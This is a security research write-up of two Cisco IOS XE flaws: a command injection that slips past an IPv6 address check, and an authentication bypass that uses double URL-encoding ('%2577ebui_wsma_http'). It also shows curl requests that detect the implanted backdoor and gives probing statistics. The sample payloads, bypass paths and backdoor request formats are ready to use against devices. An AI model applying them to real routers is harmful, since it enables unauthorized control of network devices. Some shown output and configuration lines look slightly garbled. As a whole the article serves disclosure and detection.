Author：Hcamael@Knownsec 404 Team
Chinese version: https://paper.seebug.org/3072/

This article will analyze and summarize the recent critical CVEs (CVE-2023-20198, CVE-2023-20273) in Cisco IOS XE.

Environment Setup

Last year, I purchased a Cisco ISR 4300 router for research to analyze a 1day exploit for executing backdoor commands. Since this router runs on the Cisco IOS XE system, I can directly use the Cisco ISR environment for my research.

Setting up a virtual environment is also simple. By searching file name keywords on Google and ZoomEye without version identifiers, one can find many old versions of ova and qcow2 files. The downside is the inability to find the latest firmware. If you want to research the latest firmware, you can only purchase it on second-hand platforms.

CVE-2023-20273

After setting up the environment, the first step is to analyze the authorized RCE vulnerability. The principle of this vulnerability is relatively simple, with the issue arising from IPv6 address filtering. The relevant code is shown below:

function utils.isIpv6Address(ip)
    if utils.isNilOrEmptyString(ip) then
                 return false
        end
        local chunks = utils.splitString(ip,":")
        if #chunks > 8 or #chunks < 3 then
                return false
        end
        for i=1,#chunks do
                if chunks[i] ~="" and chunks[i]:match("([a-fA-F0-9]*)") == nil and tonumber(chunks[i],16) <= 65535 then
                        return false
                end
        end
        return true
end

The issue lies in the regular expression:chunks[i]:match("([a-fA-F0-9]*)"),Due to the absence of a restriction on the end character, this means that as long as the beginning portion of the constructed string can successfully match the regular expression, it will pass. Let's conduct a test below:

$ cat test.lua
local arg1 = arg[1]
print(arg1:match("([a-fA-F0-9]*)"))
$ lua test.lua "abc;id;"
abcd

The latest patch code is as follows:

The updated regular expression is: ip:match("^([a-fA-F0-9:]+)$"), making it nearly impossible to bypass.

There are several command injection points:

1.snortcheck.lua

In the validateSnortRequestfunction, there is a check for ipaddress, because the IPv6 check can be bypassed, it can lead to command injection.

2.softwareMgmt.lua

The validateSmuRequest function checks the ipaddress, which is then concatenated into the url in the generateUrlAndDestination function, ultimately leading to command injection.

3.softwareUpgrade.lua

In this file, there are several instances of command injection vulnerabilities, stemming from the same cause. Due to the lack of proper validation for the ipaddress field, when it is concatenated into the URL, it leads to command injection.

CVE-2023-20198

Next, let's analyze a more severe unauthorized vulnerability. I believe this vulnerability should be called the Unauthorized Cisco Command Execution vulnerability, allowing the execution of arbitrary Cisco commands with pri 15 privileges.

I believe this vulnerability arises from an error configuration in Nginx, as shown below:

location /lua5 {
        internal;
        if ($scheme = http) {
                rewrite /lua5 /webui_wsma_http;
        }

        if ($scheme = https) {
                rewrite /lua5 /webui_wsma_https;
        }
}

location /webui_wsma_http {
        internal;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass http://192.168.1.6:$NGX_IOS_HTTP_PORT liin;
}

location /webui_wsma_https {
        internal;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass https://192.168.1.6:$NGX_IOS_HTTPS_PORT liin;
}

First, through auditing the Lua code of the web UI, it can be observed that executing CLI code is ultimately achieved by accessing the /lua path. However, because this path is configured with an internal field, it can only be accessed by internal Nginx code.

Furthermore, upon examining the code, it can be identified that the /lua path ultimately selects access to the /webui_wsma_http(s) path based on whether it is http or https. Similarly, external access to this path is not possible, theoretically making it impossible to bypass this portion of the nginx configuration.

However, the /webui_wsma_http(s) path is also not the final location for executing CLI commands. The ultimate communication with the iosd program is achieved by accessing http(s)://192.168.1.6. We can conduct a test.

By exploiting the aforementioned authorized RCE vulnerability to gain Linux privileges, then executing the following command:

# ip netns exec 8 curl -kv http://192.168.1.6/webui_wsma_http -d "<xml>"
......
< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 07:15:13 GMT
< Server: cisco-IOS
< Connection: close
< Content-Length: 447
< Content-Type: text/xml
< Expires: Thu, 02 Nov 2023 07:15:13 GMT
< Last-Modified: Thu, 02 Nov 2023 07:15:13 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<?xml version="1.0" encoding="UTF-8"?><SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xml="http://www.w3.org/XML/1998/namespace"><SOAP:Body><SOAP:Fault><faultcode>SOAP:Client</faultcode><faultstring>An unknown XML tag has been received</faultstring><detail><WSMA-ERR:error xmlns:WSMA-ERR="urn:cisco:wsma-errors"><WSMA-ERR:details>xml</WSMA-ERR:details></WSMA-ERR:error></detail></SOAP:Fault></SOAP:Body></SOAP:Envelope>

We can see that the ultimate execution of CLI commands is handled by the iosd program service.

Continuing the audit of the Nginx configuration, we can find a configuration like this in /tmp/nginx.conf:

        location / {
            proxy_read_timeout 900;
            proxy_pass https://192.168.1.6:443/ liin;
            proxy_set_header X-Real-IP       $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header Host $host;
            proxy_set_header Via $server_addr;
         }

By default, nginx sends requests to the iosd backend. This leads to a potential approach: we can directly access http://host/webui_wsma_http to request the backend at 192.168.1.6.

Upon testing, it was found that this approach is not feasible, as this request path will be matched to the location /webui_wsma_http route first, and due to the inclusion of the internal keyword, it returns a 404 error.

However, upon further consideration, it is realized that this approach is actually valid, but it requires a workaround. Nginx services decode URL encoding, and the iosd service also performs URL decoding, as shown below:

# ip netns exec 8 curl -kv http://192.168.1.6/webui_wsma%5fhttp -d "<xml>"
...< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 07:30:48 GMT
< Server: cisco-IOS
< Connection: close
< Content-Length: 447
< Content-Type: text/xml
< Expires: Thu, 02 Nov 2023 07:30:48 GMT
< Last-Modified: Thu, 02 Nov 2023 07:30:48 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<?xml version="1.0" encoding="UTF-8"?><SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xml="http://www.w3.org/XML/1998/namespace"><SOAP:Body><SOAP:Fault><faultcode>SOAP:Client</faultcode><faultstring>An unknown XML tag has been received</faultstring><detail><WSMA-ERR:error xmlns:WSMA-ERR="urn:cisco:wsma-errors"><WSMA-ERR:details>xml</WSMA-ERR:details></WSMA-ERR:error></detail></SOAP:Fault></SOAP:Body></SOAP:Envelope>

Through monitoring nginx's socket traffic using strace, it was observed that while nginx decodes the URL during request forwarding to the proxy server, it re-encodes the URL before sending the request to the backend server, without issues. However, upon reaching the iosd server, the URL is decoded twice.

This presents an opportunity for a double encoding attack. If we initiate a request with: http://host/%2577ebui_wsma_http, the request received by nginx will be http://host/%77ebui_wsma_http. As no other route is matched, it defaults to the default route and sends the request to the iosd backend as http://192.168.1.6/%77ebui_wsma_http. Since the backend webui_wsma_http does not perform authentication checks, this leads to an unauthorized access vulnerability.

The URL of the request can encode any one or more characters of webui and still gain unauthorized access to the iosd backend. However, encoding of the subsequent _wsma_http is not effective, as if webui is not encoded, it will match the /webui route first and prevent access to the iosd backend.

Official Fix

The official fix involves adding a Proxy-Uri-Source header. If the access to the iosd service is through the default route, it is set to: Proxy-Uri-Source: global.

If accessed through the /lua5 route, it is set to: Proxy-Uri-Source: webui_internal.

When the iosd backend handles the webui_wsma_http route, it only responds to the HTTP request if it detects the HTTP header as: Proxy-Uri-Source: webui_internal.

However, I believe that the core issue of this vulnerability has not been addressed, as I have also found the following configuration:

server {
    include /usr/binos/conf/nginx-conf/https-only/fallback.conf;
    listen unix:/var/run/shell_exec/nginx/pnp_python.sock;
    listen unix:/var/run/shell_exec/nginx/pnp_python_ssl.sock ssl;
    location /pnp_python {
        proxy_pass http://192.168.1.6:80/pnp_python liin;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $host;
        proxy_read_timeout 1d;
        proxy_send_timeout 1d;
        proxy_connect_timeout 1d;
    }
}

The iosd backend also responds to the pnp_python route. I will further investigate the operations that can be performed using this route.

Analysis of In-the-Wild Exploitation

The two vulnerabilities mentioned above were initially disclosed by Cisco. It was suspected that they discovered backdoors on their or their customers' machines, leading to the discovery of these two vulnerabilities.

Cisco did not publicly disclose the details of the vulnerabilities but provided information on how to check if their devices have been compromised with a backdoor.

First Detection Method

The above code is speculated to be the backdoor discovered by Cisco on their devices. From the code, we can infer that:

$ curl -kv http://host/webui/logoutconfirm.html?logon_hash=1 -X POST
# This request will return a hexadecimal string, for example
e79ba64cb1922c9cec
# If the device does not have this backdoor, it will return a 404 error

The main function of this backdoor is to execute arbitrary Linux system commands by accessing: http://host/webui/logoutconfirm.html?logon_hash=???&common_type=subsystem -d "id".

The crucial aspect is the need for the logon_hash value, which cannot be obtained. Upon investigation, it is surmised that the logon_hash value for each device is unique and should correspond one-to-one with the previously returned hexadecimal string.

Second Detection Method

The second variant is an upgrade from the first one, adding an authentication code. We cannot determine the value of Authorization, but Cisco provides it:

$ curl -kv http://host/webui/logoutconfirm.html?logon_hash=1 -X POST -H 'Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb'
# This detection method is similar to the first one, with the addition of an Authorization field
# In addition to the subsystem backdoor, there is a new backdoor with common_type=iox, allowing execution of any Cisco CLI command. However, we cannot determine the logon_hash value.

These two backdoors are considered indistinguishable. By using the second detection method, we can identify whether the target has been implanted with a backdoor. The only distinction is that targets with the Authorizationfield will have an additional iox feature for executing Cisco CLI commands.

Third Detection Method

The attacker not only leaves a backdoor on the target device but also patches an unauthorized vulnerability. This route will match requests containing the % (percent) sign. If the URI of the request contains a percent sign, it will return a 404 error.

In a normal device, if the request is http://host/%25, it will match the default route, sent to the backend iosd, and the expected response is:

$ ip netns exec 8 curl -kv http://192.168.1.6/%
...
> GET /% HTTP/1.1
> Host: 192.168.1.6
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 08:22:07 GMT
< Server: cisco-IOS
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=utf-8
< Expires: Thu, 02 Nov 2023 08:22:07 GMT
< Last-Modified: Thu, 02 Nov 2023 08:22:07 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<script>window.onload=function(){ url ='/webui';window.location.href=url;}

However, when the target device has a backdoor, it will match the above route and return a 404. Therefore, this feature can be used to determine whether the target server has a backdoor.

Research on the In-the-Wild Exploitation of the Vulnerability

Subsequently, research was conducted on the in-the-wild exploitation of this vulnerability. Exported 40,000 targets from ZoomEye, harmless probing was carried out to determine if the targets were susceptible to Remote Code Execution (RCE), and the results are as follows:

date: 2023/11/02 success : 12360 / 48636

Using the logon_hash probing method to determine the presence of the backdoor on the targets, the results are as follows:

date: 2023/11/02 success : 22205 / 48636

Probing targets with % (percent) sign for the 404 response, the results are as follows:

date: 2023/11/02 success : 22195 / 22205

Manually checking the 10 targets that failed, it was found that the failures were due to network issues.

Next, probing the 40,000 targets for the percent sign 404 response, the results are as follows:

date: 2023/11/02 success : 25341 / 48636

Continuing to probe these 25,341 targets using the logon_hash method, the results are as follows:

date: 2023/11/02 success : 21441 / 25341

Researching the failed targets, it was found that there were a large number of honeypots, which could be probed with the percent sign 404, leading to a significant number of false positives. After excluding honeypot targets, the remaining targets were manually tested, and the reasons for failures were attributed to network issues.

Combining the previous analysis with the probing results, we can conclude that the logon_hash backdoor has only two versions (with and without the Authorization header), and there have been no other updates since Cisco officially disclosed the backdoor.

Similarly, it can be inferred that the attacker initially patched unauthorized vulnerabilities, making devices with the backdoor resistant to RCE. Therefore, we cannot capture any effective backdoor code.

From the probing results above, it is evident that there are over 10,000 vulnerable targets. Some of these targets overlap with those successfully probed using the logon_hash method. Further investigation revealed that due to the difficulty of maintaining the backdoor on the device, once the device is restarted, the backdoor disappears. This led to some targets initially probed successfully with logon_hash failing after some time, while RCE probing succeeded.

Next is a statistical analysis of the affected devices and their architectures:

ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE_NOLI-M)
ISR Software (X86_64_LINUX_IOSD-UCMK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
ISR Software (ARMV8EB_LINUX_IOSD-UNIVERSALK9_IAS-M)
C9800-CL Software (C9800-CL-K9_IOSXE)
cBR  Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NOLI-M)
c8000be Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IAS-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS-M)
isr1100be Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (ARMV8EB_LINUX_IOSD-UCMK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
C9800-AP Software (C9800-AP-K9_IOSXE-UNIVERSALK9-M)
ISR Software (ARMV8EB_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
Catalyst L3 Switch Software (CAT9K_IOSXE)
Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
C9800 Software (C9800_IOSXE-K9)
cBR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M)
Catalyst L3 Switch Software (CAT9K_LITE_IOSXE)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_NPE-M)
c8000aep Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
Virtual XE Software (X86_64_LINUX_IOSD-UCMK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IOT-M)
ISR Software (ARMV8EL_LINUX_IOSD-UCMK9-M)
CSR1000V Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
c8000aes Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
c8000be Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)

update 2023/11/5

Subsequently, it was discovered that the backdoor had been updated again, with changes in two main parts. The first part:

This section of the update addresses the fix for the percentage 404 detection method. However, it is not fully repaired, and there are still distinctions between compromised and uncompromised devices.

For an uncompromised device:

$ curl http://ip/%25
<script>window.onload=function(){ url ='/webui';window.location.href=url;}</script>

However, when a compromised device encounters a percentage sign, it will directly redirect to the login.html page:

$ curl http://ip/%25
<!DOCTYPE html>
<html>
    <!--
    Copyright (c) 2015-2019 by Cisco Systems, Inc.
    All rights reserved.
    -->
    <head lang="en">
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title id="loginTitle"></title>
        <link rel="icon" type="image/x-icon" href="/webui/login/favicon.ico">
        <script src="/webui/login/prop.js"></script>
        <script src="/webui/login/redirect.js"></script>
        <link rel="stylesheet" href="/webui/login/assets/styles/login.css"/>
......

Part 2:

This section updates the authentication mechanism, making it more challenging to detect invaded targets using the logon_hash method. Now, the Authorization is not a hash value; instead, it requires the SHA1 hash value to be a specified value. In such cases, detection of invaded targets can only be achieved through hash collision, brute-forcing SHA1 hash values, and similar methods to bypass the backdoor's authentication check.

Remediation Steps

1. Avoid exposing the webui port to the public network；

2. Update IOS XE systems to the latest official version.

References

1. https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/
2. https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/3073/